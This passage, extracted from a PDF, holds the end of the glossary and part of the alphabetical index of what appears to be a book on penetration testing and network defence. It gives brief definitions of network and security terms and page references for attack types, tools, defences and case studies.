domain.\nDomain Name System. See DNS. \nDoS. Denial of service. An attack on a computer system or network that typically \ncauses the loss of network connectivity and services by consuming the entire \nbandwidth or overloading the available resources of the victim system.\n" }, { "page_number": 601, "text": "574\nDynamic Host Configuration Protocol\nDynamic Host Configuration Protocol. See DHCP.\nDynamic Hypertext Markup Language. See DHTML.\nE\nESP. Encapsulating Security Payload. A protocol within the IPSec protocol suite \nthat provides encryption services for tunneled data. \nethical hacker. A computer and network expert who attacks a security system \nwith the full consent of its custodians to identify potential vulnerabilities that a \nmalicious hacker could exploit.\nExtensible Hypertext Markup Language. See XHTML.\nF\nfingerprinting. The process of determining the operating system of a target \nmachine.\nfirewall. A router or access server that acts as a buffer between public and private \nnetworks.\nFlood Defender. A feature of the PIX firewall that limits the number of \nunanswered SYN connections to a specific server.\nFraggle attack. Transmission of a large amount of UDP echo traffic to IP \nbroadcast addresses, all with a fake source address.\nFreeBSD. A free UNIX-like open source operating system.\nH\nhacker. A highly skilled computer specialist who seeks to gain unauthorized \naccess to systems without malicious intent.\nhacktivism. The hacking of a system to promote or draw attention to a cause.\nhardening. The process of securing a computer system and decreasing the attack \nsurface.\n" }, { "page_number": 602, "text": "man-in-the-middle attack 575\nhashing algorithm. The process of placing data and a key into a mathematical \nalgorithm to produce a fixed-length value called a hash.\nhoneypot. A trap set to detect unauthorized attempts to access a system.\nI\nICMP. Internet Control Message Protocol. A network layer Internet protocol \nmainly used for error reporting.\nIDS. Intrusion Detection System. A tool used to detect unauthorized access to a \ncomputer or network by monitoring and analyzing events for particular \ncharacteristics.\nIEV. (Cisco) IDS Event Viewer. A Java-based application used to view and \nmonitor up to 5 different IDS sensors at the same time.\nIIS. Internet Information Services (Server). Internet-based services implemented \nas a Microsoft technology.\nJ–K–L\nJava. An object-oriented programming language.\nKeylogger. Software or hardware tools used to capture keystrokes entered on the \nhost machine.\nLAND attack. A denial-of-service attack caused by sending an IP packet to a \nmachine with the source host/port the same as the destination host/port.\nLIFO. Last-in, first-out. Reference to the way items in a data store (usually a \nstack) are processed. \nM\nMAC address. Media Access Control address. A unique identifier associated \nwith most forms of networking hardware.\nman-in-the-middle attack. Also known as MiTM. An attack in which the \nattacker can intercept messages between two parties without either being aware \nthat their traffic has been compromised.\n" }, { "page_number": 603, "text": "576\nMD5\nMD5. Message Digest 5. A one-way hashing algorithm that produces a 128-bit \nhash. \nMedia Access Control address. See MAC address.\nN\nNAK. Negative acknowledgment. A response sent from a receiving device \nindicating that errors were contained in the information received.\nNetBIOS. Network Basic Input/Output System. A transport protocol connecting \nnetwork hardware with the network operating system.\nnetwork sniffer. A tool for monitoring and recording network traffic.\nNetwork Basic Input/Output System. See NetBIOS.\nNull scan. A packet sent to a TCP port with no Layer 4 TCP flags set.\nO–P\nOSSTMM. Open-Source Security Testing Methodology Manual. Created by \nhttp://www.isecom.org. \nOpen-Source Security Testing Methodology Manual. See OSSTMM.\npassive reconnaissance. Information gathering on a potential target in a \nnoninvasive way, such as eavesdropping on a conversation.\npenetration tester. An ethical hacker engaged by an organization to seek out \npotential vulnerabilities in its network infrastructure.\nPerl. A high-level, interpreted, procedural scripting language.\nPGP. Pretty Good Privacy. A program that provides cryptographic privacy and \nmeans of authentication.\nphishing. A form of social engineering attack that attempts to fraudulently \nacquire secure personal information such as passwords and credit card details by \nimpersonating someone trustworthy, such as your bank.\n" }, { "page_number": 604, "text": "Secure Hash Algorithm 1 577\nPKI. Public Key Infrastructure. An arrangement that provides for third-party \nvetting and validation of user identities. It also allows public keys to be bound to \nusers. These public keys are typically in certificates.\nport scanner. A tool designed to probe a host for open TCP or UDP ports.\nR\nRDBMS. Relational Database Management System. A database management \nsystem based on the relational model introduced by Edgar Codd.\nRelational Database Management System. See RDBMS.\nreverse shell. A tunnel created with a remote shell program. After the tunnel is \ncreated, you can launch commands back from the tunnel destination machine to \nthe tunnel originating machine with the credentials of the tunnel creator.\nRFC. Request for comments. A series of numbered informational documents \nused as a means of publicizing information about the Internet. In the main, they \ndocument protocol standards and specifications.\nrootkit. A tool or set of tools that an attacker uses after successfully \ncompromising a computer system. A rootkit can help the attacker maintain his \naccess to the system and use it for malicious purposes.\nRSA. An algorithm for public key encryption that is the first to be suitable for \nsigning. It is named after its inventors, Rivest, Shamir, and Adelman.\nS\nsalt. A random string value that is combined with a password before it is \nencrypted to ensure that the encrypted values cannot be compared.\nSAM database. Security Account Manager database. This is a Windows-\nimplemented security database that holds local user accounts and passwords.\nscript kiddies. A derogatory term used for inexperienced crackers who use tools \nand scripts that others develop to scan and launch attacks on computer systems. \nTypically, script kiddies have no specific target in mind, but scan many systems \nsearching for known vulnerabilities to exploit.\nSecure Hash Algorithm 1. See SHA-1.\n" }, { "page_number": 605, "text": "578\nSecurity Account Manager database\nSecurity Account Manager database. See SAM database.\nsequence numbers. In TCP-based applications, sequence numbers tell the \nreceiving machine the correct order of the packets if they are received out of order.\nService Set Identifier. See SSID. \nsession hijacking. A security attack on a user session over a protected network. \nThis is usually accomplished using IP spoofing, where the attacker assumes the IP \naddress of one of the communicating nodes to impersonate an authenticated user.\nsession replay. A man-in-the-middle attack that captures packets and modifies \nthe data before sending it to the target. \nSGML. Standard Generalized Markup Language. A standard for specifying a \ndocument markup language or tag-set, although it is not in itself a document \nmarkup language.\nSHA-1. Secure Hash Algorithm 1. A cryptographic message digest algorithm that \nproduces a 160-bit digest based on the input. The algorithm produces passwords \nthat are irreversible.\nshellcode. A program written in assembly language that executes a UNIX or \nWindows shell. Typically used by a cracker to gain command line access to a \nsystem.\nSMTP. Simple Mail Transfer Protocol. An Internet protocol that provides e-mail \nservices. \nSmurf attack. A denial-of-service attack using spoofed broadcast ping messages \nto flood a target system.\nsocial engineering. The practice of gaining sensitive information about an \norganization by tricking its employees into disclosure.\nSQL. Structured Query Language. A programming language that manipulates \ndata contained in an RDBMS.\nSSID. Service Set Identifier. This is a 32-character identifier attached to the \nheader of a packet. It identifies the wireless access point you are attempting to \ncommunicate with. \nStandard Generalized Markup Language. See SGML.\n" }, { "page_number": 606, "text": "URL\n579\nsymmetric cryptography. A type of cryptography that uses an encryption \nalgorithm whereby the same key is utilized for both encryption and decryption.\nsymmetric key. A key used in a symmetric encryption algorithm.\nSYN flood. A type of denial-of-service attack. During the establishment of a TCP \nsession, a 3-way handshake takes place, commencing with a SYN packet sent to \nthe server that requests the connection. This should be followed with a SYN-ACK \npacket returned from the server and finally an ACK packet from the client. If the \nclient fails to respond with the final ACK, a half-open connection results. These \nhalf-open connections consume resources on the server. By sending many SYN \npackets to the server without the corresponding ACK, an attacker can effectively \nprevent any further connections resulting in the denial of service.\nT\nTCP. Transmission Control Protocol. One of the core protocols of the IP suite that \nguarantees that data sent from one node will be received by the other in its entirety.\nTelnet. A protocol in the TCP/IP stack that provides terminal emulation used for \nconnecting to and controlling remote systems.\nTFTP. Trivial File Transfer Protocol. A simple protocol that is similar to FTP and \nused for transferring small files between hosts on a network. Unlike FTP, which \nuses TCP port 21, TFTP utilizes UDP port 69. \nTrojan horse. A program that might appear useful on the surface but in which \nharmful or malicious code is contained.\nU\nUDP. User Datagram Protocol. A connectionless protocol that is one of the core \nprotocols of the IP suite. It does not provide the delivery reliability of TCP.\nunicode. An international standard to allow the universal encoding of all \ninternational character sets. \nURL. Uniform Resource Locator. A standardized address for a resource available \nvia the Internet.\n" }, { "page_number": 607, "text": "580\nvirus\nV\nvirus. A self-replicating piece of software, usually written with malicious intent, \nthat propagates by infecting another program. It cannot run independently of the \nprogram in which it resides, and its host program must be executed explicitly to \nactivate the virus.\nVPN. Virtual private network. A way of using a public telecommunications \ninfrastructure, usually the Internet, to create a secure communications channel that \nremote users can use. It uses cryptographic tunneling protocols to provide \nconfidentiality, authentication, and integrity of the data transmitted.\nvulnerability scanner. Software designed to take the work out of penetration \ntesting by scanning target systems and comparing them against known \nvulnerability signatures.\nW\nWEP. Wired Equivalent Privacy. A security protocol that secures wireless \nnetworks in the 802.11b standard. \nwhite-box (testing). A method of testing software whereby the tester is fully \naware of the internal function of the program being tested. This testing is designed \nto ensure that the desired behavior of the program is achieved.\nwhois. A protocol for submitting a query to a database to determine the owner of \na domain name or IP network.\nwireless network. Any network that utilizes radio as its physical layer.\nworm. A computer program that can run independently and replicate itself to \nother hosts on a network, usually with some kind of disruptive or destructive \nintent.\n" }, { "page_number": 608, "text": "TTThhhiiisss pppaaagggeee iiinnnttteeennntttiiiooonnnaaallllllyyy llleeefffttt bbblllaaannnkkk \n" }, { "page_number": 609, "text": "" }, { "page_number": 610, "text": "I N D E X\nNumerics\n802.1x port security, 352\nA\naccess auditing, enabling, 266\naccess points, 350\naccount lockouts, 311\ndetecting password-cracking attacks, 307\naccount logins, logging, 309–310\nACK scan, discovering firewall configuration, 321\nACK scans, 100\nACK storms, 137–138\nacting classes, developing social engineering \nskills, 57\nactive host reconnaissance, 89\nNSLookup/Whois lookups, 89–92\nSamSpade, 92–94\nVisual Route, 95\nactive session hijacking, 127\nAD (active directory) model, 448\nadmin account (Novell), 451\nAiroPeek NX, 357\nAirSnort, 357\nAllaire, J.J., 193\nALOHANET, 9\nanomaly detection systems, 109\nanomaly-based IDSs, evading, 324\nantennas, 350\nantivirus scanners, 430–431\nApache HTTP Servers, 11\nsecuring, 236\nvulnerabilities, 199\nappendixes, 44\nappliance firewalls, detecting DoS attacks, 490\napplication hardening, 496\nDoS attacks, preventing, 497\nAPs (access points), detecting rogue APs, 358\nARP attacks\nhardening switches against, 341\ntesting switches for vulnerabilities, 335\nASA (Adaptive Security Algorithm), 337\nASP, 188–190\nassets\nthreats to, identifying, 537\ncost of protecting, identifying, 537–538\nassigning permissions to root user, 445\nAtkins, Steve, 93\nattacks\nD.A.D. attacks, 7\nDoS, 21\nhacktivist attacks, 13\nmutating, 324\non databases, protecting against, 270–271\nstages of\nerasing evidence, 14\nmaintaining access, 14\nobtaining access, 14\nreconnaissance stage, 13\nscanning stage, 14\nzero-day, 8\nauditing passwords, 309\nauditing tools\nAiroPeek NX, 357\nAirSnort, 357\nDStumbler, 355\nGPSMAP, 356\nKismet, 355\nNetStumbler, 354\nStumbVerter, 354\nWEPCrack, 357\nauthentication, 210\non Microsoft SQL Server, sysxlogins, 261–262\nauthority-based persuasion, 53\nauthorship of security policies, 540\navailability of hacking tools, 10\navailability threats, 7\nB\nbackdoor applications, 37, 560, 562\ndetecting, 423\npreventing, 432–433\nbackup policies, 543\nbandwidth attacks, 481\nbanner grabbing, 223\nbasic authentication bypass attacks, 199\nbasic HTTP authentication, 210\nBeast, 412\nclient configuration, 417–419, 423\ngaining access with, case study, 433–436\nserver settings, 412–416\n" }, { "page_number": 611, "text": "584\nBeastkit, 448\nbehavioral profiling, 55\nbehavior-based virus detection, CSA, 456\nBerners-Lee, Tim, 180\nblack-box tests, 6\nblack-hat hackers, 5\nBlaster worm, 375–376\nblind hijacking, 130–131\nblind spoofing, 129\nBO2K (Back Orifice 2000), 378–384, 388\nplug-ins, 380–382\nBorghard, Peter, 27\nBoSniffer program, 67\nBoson GetPass, 302–303\nBoson RIP Route Generator, 330\nbreaching internal networks, case study, 238–244\nBrown Orifice, 411–412\nBrumleve, Dan, 411\nbrute force attacks, 209\nBrutus, 211\ndetecting, 212, 215\nHTTP Brute Forcer, 211\non SQL servers\ncase study, 272, 275–277\ndetecting, 268\nprotecting against, 215–216\ntesting database vulnerability to, 260\nBrutus, 211\nbuffer overflows\ncase study, 476–478\nheap buffers, 464\nLinux privilege escalation, 466–471\non IIS web servers, 202–203\npreventing, 473–475\nsimple buffer overflow example, 465\nstack smashing exploit, 446\nstacks, 461\ntools for attempting, 566\nWindows privilege escalation, 471\nBugBear virus, 372–373\nbypassing firewalls, 322\nICMP tunneling, 323\nLoki ICMP tunneling, 322\nbytecode, 466\nC\ncalculating cost of protecting assets, 537–538\ncandy networks, 49\ncase studies\nbuffer overflows, 476–478\nDoS attacks, 497–499\ngaining access with Beast, 433–436\ninternal networks, breaching, 238–244\npassword cracking, 316–318\nport scanning, 118, 121–122\nremotely accessing networks, 342, 345–347\nrootkits, 456–457\nsession hijacking, 168–169, 172–173\nSQL server brute force attacks, 272, 275–277\nwireless network security, 363–365\ncDc (Cult of the Dead Cow), 378\nCDP (Cisco Discovery Protocol)\ndisabling on routers, 338\ntesting for vulnerabilities, 324–326\nCERT (Computer Emergency Response Team), 8\nCFAA (Computer Fraud and Abuse Act), 25\nCFML (ColdFusion Markup Language), 193\nCGI (Common Gateway Interface), 191\ncharacter traits of social engineers\nconfidence, 57–58\npatience, 56–57\npossessing inside knowledge, 59\ntrust, 58\ncharacteristics of open source software, 11\nChernobyl virus, 369\nCIA (confidentiality, integrity and availability), 7\nCisco Guard XT, 493\nCisco IDS 4200 series, detecting session \nhijacking, 153–156, 160–164\nCisco passwords, cracking, 302–303\nCisco PIX Firewalls\nFlood Defender, 490\nsecuring, 337\nCisco Traffic Anomaly Detector XT \nappliance, 493\nCleanIISLog, 222\nclear-text passwords, 280\nclient-based Java, 194\nCode of Fair Information Practices, 25\nColdFusion, 193\ncommands, SQL, 249\ncommercial vulnerability scanners, 219\ncompany websites, downloading for offline \nviewing, 79–80\ncompiler-based solutions, preventing buffer \noverflows, 475\nBeastkit\n" }, { "page_number": 612, "text": " 585\ncompiling NMAP, 105\nComputer Ethics Institute, Ten Commandments \nof Computer Ethics, 22–23\nComputer Misuse Act of 1990 (U.K.), 24, 31\nconfidence as social engineer trait, 57–58\nconfidentiality threats, 7\nconfiguring\nEthereal, 145\npassword settings, 311–312\nconformity persuasion, 50\nconnection strings, testing vulnerability to, 259\nconnnections, embryonic, 140\nconscientious behavior classification \n(D.I.S.C.), 55\ncookie guessing, 205–206\ncracking encrypted passwords, 281\ntools, 556\ncreating\nsecurity policies, 544\nspoofed e-mail messages, 65–67\ncrystal-box tests, 6\nCSA (Cisco Security Agent), 455\ncustomer impersonation, 69–70\ncybercrime, 23\nD\nD.A.D. (disclosure, alteration, and destruction) \nattacks, 7\nD.I.S.C. profile, 55\ndata dictionary, 250\ndatabase attacks\ndetecting, 266\ntools for performing, 556\ndatabases\nMicrosoft SQL Server, 252\nquerying, 253\nstructure of, 252\nMySQL, 251\nOracle, 250\nprotecting against attacks, 270–271\nRDBMSs, 249\nvulnerabilities, testing, 254–260\nsusceptibility to attacks, 249\nDatapool, 486\nDAWN Security Systems, fictitious penetration \ntest of LCN, 505\ncovering tracks, 524\nfollow-up, 530\ngaining access, 512–517, 520, 523\ninformation gathering, 504, 507–510\nmaintaining access, 524\nplanning the attack, 503\nsample report, 524–529\nscanning and enumeration, 510–512\nDDoS (Distributed Denial of Service) attacks, 482\nDDoSPing tool, 492\ndefault SSIDs as security risk, 351\ndefending against social engineering attacks, 71\ndefining scope of testing, 6, 36\ndetecting\nbackdoor applications, 423\nbrute force attacks, 212, 215\ndatabase attacks, 266\ndirectory traversals, 226–228\nDoS attacks, 489\nwith appliance firewalls, 490\nwith host-based IDSs, 490\nwith signature-based network IDSs, \n490, 492\npassword-cracking attacks, 305–307\nfrom physical access, 308\nwithin system log files, 306\nscans, 109\nserver attacks, 452\nsession hijacking, 143–144\nwith Cisco IDS 4200 series sensors, \n153–156, 160–164\nwith packet sniffers, 145\nTrojans applications, 423\nweb attacks, 225\ndirectory traversals, 226–228\nWhisker attacks, 228–231\nwireless network attacks\nDoS attacks, 358\nMAC address spoofing, 358\non unprotected WLANs, 357\nrogue APs, 358\nunallocated MAC addresses, 359\ndevices, 324, 333\nrouters, testing for vulnerabilities, 324–332\nswitches, 111–112\ntesting for vulnerabilities, 333–337\nDHTML (Dynamic HTML), 181\nDilDog, 378\ndipole antennas, 350\ndipole antennas\n" }, { "page_number": 613, "text": "586\ndirectory traversals, detecting, 226–228\ndisabling unnecessary router services, 338\ndisaster recovery policies, 543\ndiscovering firewall configurations\nthrough firewalking, 321\nwith ACK scan, 321\nDMZ (demilitarized zone), securing network \narchitecture, 237\ndocumentation\nAppendixes, 44\nExecutive Summary, 40, 44\nsample, 41\nProject Scope, 42\nResults Analysis, 42–43\ndomain model, 448\ndominant behavior classification (D.I.S.C.), 55\nDonald Dick, 390–393\nDoS (denial of service) attacks, 21, 481\ncase study, 497–499\nDDoS, 482\ndetecting, 489\nwith appliance firewalls, 490\nwith host-based IDSs, 490\nwith signature-based network IDSs, \n490–492\ndetecting on wireless networks, 358\nFraggle attacks, 485\nLAND attacks, 485\nPing of Death, 483–484\npreventing, 493\nthrough application hardening, 497\nthrough network hardening, 494–496\nprotocol exceptions, 481\nSmurf attacks, 484\nSYN floods, 486\ntools for executing, 486, 566–569\nDatapool, 486\nHgod, 489\nJolt2, 488\ndownloading websites for offline viewing, 79\nDSSS (Direct Sequence Spread Spectrum), 350\nDStumbler, 355\nDTD (Document Type Definition), 183–184\ndumb scans, 101\ndumpster diving, 308\nobtaining company information, 59\nE\nEAPOW (Extensible Authentication Protocol \nover Wireless), 352\ne-commerce, 198\nEDGAR (Electronic Data Gathering, Analysis, \nand Retrieval), 78, 87\neducating employees about password cracking, \n315–316\nEIP (extended instruction pointer), 202\nelements (HTML), 180\nelevation techniques, 446\nfor Microsoft Windows, 449\nirix-login.c exploit, 447\nrpc.statd exploit, 446–447\nstack smashing exploit, 446\nElkern virus, 373\ne-mail impersonation, 64–68\nmalware attachments, 67\ne-mail policies, 541\nembryonic connections, 140\nemployees\nimpersonating, 60\ntech support, impersonating, 61–62\ntelecommuter phone numbers, obtaining, 61\nenabling access auditing, 266\nencrypted passwords, 281\nend-user impersonation, 69\nenforcing standards for wireless networks, 362\nEPHI (electronic public health information), 29\nerasing\nevidence stage of attacks, 14\npasswords, 280\nESP (extended stack pointer) registers, 462\nEthereal\nconfiguring, 145\nmonitoring session hijacking attacks, 147, \n151–153\nethical hackers, 5\nEuropean Council Convention on Cybercrime, 23\nevading IDSs, 323\nexample penetration test, LCN, 501–517, 520, \n523–530\nexamples\nof buffer overflows\nLinux privilege escalation, 466–471\nWindows privilege escalation, 471\nof scan detection, 112\nFIN scans, 115\ndirectory traversals, detecting\n" }, { "page_number": 614, "text": " 587\nNULL scans, 115\nOS guessing scans, 117–118\nSYN scans, 114\nTCP Connect() scans, 113\nXmas tree scans, 115\nof simple buffer overflows, 465\nexeciis-win32.exe, 221\nexecuting DoS attacks, 486\nDatapool, 486\nHgod, 489\nJolt2, 488\nExecutive Summary, 40–41, 44\nexpanding number of security threats, reasons \nfor\nadministrator trust, 13\navailability of hacking tools, 10–11\nbusiness partnerships, 13\ncomplexity of networks, 10\nfrequency of software updates, 10\nhacktivism, 13\nindustry regulations, 12\nmarketing demands, 12\nnature of open source, 11\nproliferation of viruses and worms, 9\nreliance on Internet, 11\nunmonitored telecommuters and \nmobile users, 12\nWLANs, 9\nexpiration dates of passwords, modifying, 312\nexploits\nhidden fields, 207–209\nzero-day, 8\nextended stored procedures, 258, 272\nexternal JavaScript, 185\nextra fun tab (SubSeven), 411\nF\nfictitious penetration test of LCN, 503, 505\ncovering tracks, 524\nfollow-up, 530\ngaining access, 512–517, 520, 523\ninformation gathering, 504, 507–510\nmaintaining access, 524\nplanning the attack, 503\nsample report, 524–529\nscanning and enumeration, 510, 512\nfile extensions for web languages, 178\nfile permissions, UNIX, 445\nFIN scans, 100\nfingerprinting, 106\nfirewalking, discovering firewall configuration, 321\nfirewalls\nbypassing, 322\nICMP tunneling, 323\nLoki ICMP tunneling, 322\ndiscovering configuration through \nfirewalking, 321\nsecuring, 337\nFISMA (Federal Information Security \nManagement Act), 30\nFlood Defender, 490\nfootprinting, 108, 501\nform-based authentication, 216\nform-based HTTP authentication, 210\nfour-factor security, 279\nfport, 428\nFraggle attacks, 485\nfun manager tab (SubSeven), 411\nFuX0red, 398\nfuzzy matching, 107\nG\ngeneral-purpose registers, 462\nGetPass, 302–303\nGLB (Graham-Leach-Bliley) act of 1999, 29\nGNU (GNUs not UNIX), 11\nGoogle.com as hacking tool, 224\nGosling, James, 193\nGPSMAP, 356\ngrading passwords with L0phtcrack, 295\ngratuitous ARPs, 138\ngray-box testing, 6, 31\nguest accounts (Microsoft SQL Server), 264\nH\nhacking, 5\nlaws. See legislation\nnon-U.S. laws pertaining to, 31\nNovell NetWare, 451\nscript-kiddies, 11\ntools, availability of, 10\nhacktivism, 13\nhardening switches\nagainst ARP attacks, 341\nagainst MAC table flooding attacks, 341\nhardening switches\n" }, { "page_number": 615, "text": "588\nagainst STP attacks, 341\nagainst VLAN hopping, 341\nagainst VTP attacks, 342\nhashing algorithms, 281\nHassell, Riley, 202\nheap buffers, 464\nHedley, David, 447\nHerzog, Peter, 37\nHgod, 489\nhidden field exploit, 207–209\nHide Server, 266\nhigh-gain omni-directional antennas, 350\nhighly directional antennas, 350\nHIPAA (Health Insurance Portability and \nAccountability Act), 12\nhistory of passwords, modifying, 313\nhistory of wireless networking, 349–350\nHK exploit, 449\nhoaxes, BugBear virus hoax, 373\nhoneypots, 17\nhost reconnaissance, tools, 547, 550–553\nhost-based IDSs, 110\ndetecting DoS attacks, 490\nHTML, 179\nHTTP\nbasic authentication, 210\nform-based authentication, 210\ntunneling, 323\nweb server vulnerabilities\nApache, 199\nIIS, 199–203\nHTTP Brute Forcer, 211\nHTTP service\ndisabling on routers, 338\ntesting for vulnerabilities, 326\nhuman psychology, behavioral profiling, 55\nhuman-based social engineering, 50\ncustomers, impersonating, 69–70\ndefending against, 71\ne-mail impersonation, 64–68\nemployees, impersonating, 60\ntech support, 61–62\nend-users, impersonating, 69\npersuasion, types of\nauthority-based, 53\nconformity-based, 50\ninformation-based, 54–55\nlogic-based, 51–52\nneed-based, 52\nreciprocation-based, 53–54\nsimilarity-based, 54\nRSE, 70\nthird parties, impersonating, 62–64\ntraits of social engineers\nconfidence, 57–58\npatience, 56–57\npossessing inside knowledge, 59\ntrust, 58\nwetware, 50\nHunt, 134–135\nhijacking Telnet sessions, 135\nHyperText PreProcessor, 192\nHypnopædia, 299\nI\n“I Love You” worm, 370\nICMP\nPing of Death attacks, 483–484\nSmurf attacks, 484\ntunneling, 322–323\nidentifying threats to assets, 537\nIDSs (intrusion detection systems), 109, 431\nevading, 323\nIEV (IDS Event Viewer), viewing session \nhijacking, 164–165\nIIS Lock Down, 235\nIIS web servers\nsecuring, 234–236\nvulnerabilities, 199–200\nbuffer overflows, 202–203\nprivilege escalation, 201\nshowcode.asp, 200–201\nIIS Xploit, 221\nimpersonating\ncompany employees, 60\ntech support personnel, 61–62\ncustomers, 69–70\nend-users, 69\nthird parties, 62–64\nimplementing\nemployee education on password cracking, \n315–316\nphysical protection, 313–314\nimprovisation, developing social engineering \nskills, 57\nhardening switches\n" }, { "page_number": 616, "text": " 589\nindustry regulations as cause for expanding \nnumber of security threats, 12\ninfluential behavior classification (D.I.S.C.), 55\nINFORMATION_SCHEMA views, 251\ninformation-based persuasion, 54–55\ninside knowledge, importance of possessing, 59\nintegrity threats, 7\nIntelliTamper, 222\ninternal networks, breaching, case study, 238–244\nInternet policies, 541\ninterpreted languages, Perl, 187\nIPSec, deploying on wireless networks, 353\nIPv6 URI parsing heap overflows, 199\nirix-login.c exploit, 447\nISS (Internet Security Scanner), 444\nIvgi, Rafel, 208\nI-worm, 373\nJ\nJava, 193\nclient-based, 194\nserver-based, 194–195\nJavaScript, 185–186\nJohn the Ripper, 285–287\njohnny.ihackstuff.com, 224\nJolt2, 488\nJScript, 186\nJuggernaut, 131–133\nK-L\nkey logging, 308\nKismet, 355\nKlez worm, 373\nKouznetsov, Pavel, 194\nKrauz, Pavel, 134\nKwyjibo, 371\nL0phtcrack, 289–290, 294, 298\nLAND attack, 482\nLANMAN hashing, 283\nLCN (Little Company Network), example \npenetration test, 501–505\ncovering tracks, 524\nfollow-up, 530\ngaining access, 512–523\ninformation gathering, 504, 507–510\nmaintaining access, 524\nplanning the attack, 503\nsample report, 524–529\nscanning and enumeration, 510–512\nlegislation\nCFAA, 25\nCode of Fair Information Practices, 25\nComputer Misuse Act (U.K.), 24\nFISMA, 30\nGraham-Leach-Bliley act of 1999, 29\nnon-U.S., 31\nSarbanes-Oxley Act, 30\nUSA PATRIOT Act, 30\nlength of passwords, modifying, 312\nLerdorf, Rasmus, 192\nlibrary tools, preventing buffer overflows, 475\nLinux\nDoS attacks, executing\nSpendor Datapool, 486\nelevation techniques\nirix-login.c exploit, 447\nrpc.statd exploit, 446–447\nstack smashing exploit, 446\nMACOF, 129\nprivilege escalation, example of, 466–471\nrootkits, 447\nLitchfield, David, 260\nLiveScript, 185\nLocal System account (SQL Server), 263\nlocking out user accounts, 311\nlogging\naccount logins, 309–310\nactions during penetration testing, 31–32\nlogic attacks, 482\nlogic persuasion, 51–52\nLoki ICMP tunneling, 322\nLong, Johnny, 224\nM\nMAC address spoofing, detecting on wireless \nnetworks, 358\nMAC filtering on wireless networks, 352\nMAC table flooding attacks\nhardening switches against, 341\ntesting switches for vulnerabilities, 335\nMAC table flooding attacks\n" }, { "page_number": 617, "text": "590\nMACOF, 129\nmaintaining access stage of attacks, 14\nmalware, 67, 368\nmarkup languages\nCFML, 193\nDHTML, 181\nHTML, 181\nXHTML, 184\nXML, 183–184\nmaster database, 252\nMBSA (Microsoft Baseline Security \nAnalyzer), 270\nMD5 checksums, 424\nMelissa virus, 371\nmemory, buffers\nheap buffers, 464\nstacks, 461\nmemory consumption DoS attacks, 199\nMicrosoft\nAD model, 448\ndomain model, 448\npassword hashing, 282\nLANMAN hashing, 283\nWindows hashing, 282\nSQL Server, 252\nauthentication, sysxlogins, 261–262\nguest accounts, 264\nnetwork libraries, 264–265\nports, 265\nPublic role, 263\nquerying, 253\nsample databases, 264\nservice accounts, 263\nstructure of, 252\nWindows\nelevation techniques, 449\nrootkits, 450\nmirror technique for gaining employee trust, 58\nmisuse detection systems, 109\nMITM (man-in-the-middle) attacks, 128\npreventing on wireless networks, 361\nsession hijacking\nblind spoofing, 129\ncase study, 168–169, 172–173\nnonblind spoofing, 128\nTCP sequence prediction, 130–131\nMitnick, Kevin, 71, 139–140\nsession hijacking of Tsutomu Shimomura’s \ncomputer, 139–140, 143\nmodifying password settings, 311–312\nmonitoring\nports, 424–426, 429\nsession hijacking with packet sniffer, 145\nmorphing attacks, 324\nmutating attacks, 324\nMyDoom worm, 373\nMySQL, 251\ndatabases structure, 251\nINFORMATION_SCHEMA views, 251\nstructure of, 251\nN\nNASL (Nessus Attack Scripting Language), 440\nNAT (Network Address Translation), \nconfiguring, 347\nNDS (Novell Directory Services), 450\nneed for penetration testing, 8–9\nneed-based persuasion, 52\nNessus, 440\nNetCat, 217–218\nshoveling remote shells, 395–397\nsurreptitious installation of, 74\nNetRecon, 445\nNetstat, 426–427\nNetStumbler, 354\nnetwork architecture, securing, 237\nnetwork attacks, tools for performing, 557\nnetwork hardening, preventing DoS attacks, \n494–496\nnetwork libraries, 264–265\nnetwork-based IDSs, 110\nnetworks, remote access, case study, 342, 345–347\nnewsgroups, 87\nNICNAME, 91\nNMAP, 22, 102\ncompiling, 105\nswitches, 103–105\nnonblind spoofing, 128\nnon-executable stack, preventing buffer \noverflows, 475\nnon-U.S. laws pertaining to hacking, 31\nNOPs (No Operation) commands, 464\nNovelFFS (Novel Fake File Server), 451\nNovell NetWare, 450\nhacking, 451\nNDS, 450\nrights, 450–451\nMACOF\n" }, { "page_number": 618, "text": " 591\nNSLookup, 89–92\nNT/2000 Rootkit, 395\nNULL scans, 99–100\nNutcracker, 298–299\nO\nO’Keefe, Brett, 27\nOak, 193\nobtaining access stage of attacks, 14\nobtaining telecommuter phone numbers, 61\nOECD (Organization for Economic \nCo-Operation and Development), 24\noffline viewing of websites, 79\nomni-directional antennas, 350\none factor authentication, 279\nopcode, 466\nopen source software characteristics, 11\nOpenBSD systems, inadvertant DoS attacks \non, 22\nopen-source vulnerability scanners, 219\noperating systems\nfingerprinting, 106\nsecuring, 232–234\nstack fingerprinting, 106\nUNIX, salts, 282\nOracle databases, 250\nOrphan pages, 79\nOSSTMM (Open-Source Security Testing \nMethodology Manual), 35–39, 503\nout-of-sequence packets, 130\nP\npacket sniffers, 281\ndetecting session hijacking, 145\nEthereal, monitoring session hijacking attacks, \n147, 151–153\npackets, out-of-sequence, 130\nPandora, 451\nPassive reconnaissance, 78\npassive scanners, Kismet, 356\npassive session hijacking, 127\npassword cracking\nattacks, detecting, 305–308\nbrute force attacks\nBrutus, 211\ndetecting, 212, 215\nHTTP Brute Forcer, 211\nprotecting against, 215–216\ncase study, 316–318\nemployee education, implementing, 315–316\nprotecting against, 309–314\nsalts, 282\nutilities, 556\nBoson GetPass, 302–303\nHypnopædia, 299\nJohn the Ripper, 285–287\nL0phtcrack, 289–290, 294, 298\nNutcracker, 298–299\npwdump, 277\npwdump3, 287–288\nRainbowCrack, 303–304\nSnadboy Revelation, 300\npassword hashing, 280\non Microsoft systems, 282–283\non UNIX systems, 284\npassword policies, 542\npasswords. See also password cracking \nbrute force attacks, 209\ndetecting on SQL servers, 268\nencrypted, 281\nerasing, 280\nhidden field exploit, 207, 209\nsecuring on routers, 338–340\ntesting for vulnerabilities, 328\npatience as social engineer trait, 56–57\npenetration tests\npreparing for, 16–17\nvendors, selecting, 14–16\nPerl (Practical Extraction and Report Language), \n187–188\npermissions, UNIX, 445\nassigning to root user, 445\nelevation techniques, 446–447\npersuasion\nauthority-based persuasion, 53\nconformity persuasion, 50\ninformation-based persuasion, 54–55\nlogic persuasion, 51–52\nneed-based persuasion, 52\nreciprocation-based persuasion, 53–54\nsimilarity-based persuasion, 54\nphishing, 67, 203–205\nphone numbers of telecommuters, obtaining, 61\nphone numbers of telecommuters, obtaining\n" }, { "page_number": 619, "text": "592\nPHP (Hypertext Preprocessor), 251\nPHP (Personal Home Page), 192\nPhrack Magazine, 131\nphysical access policies, 543\nphysical protection, 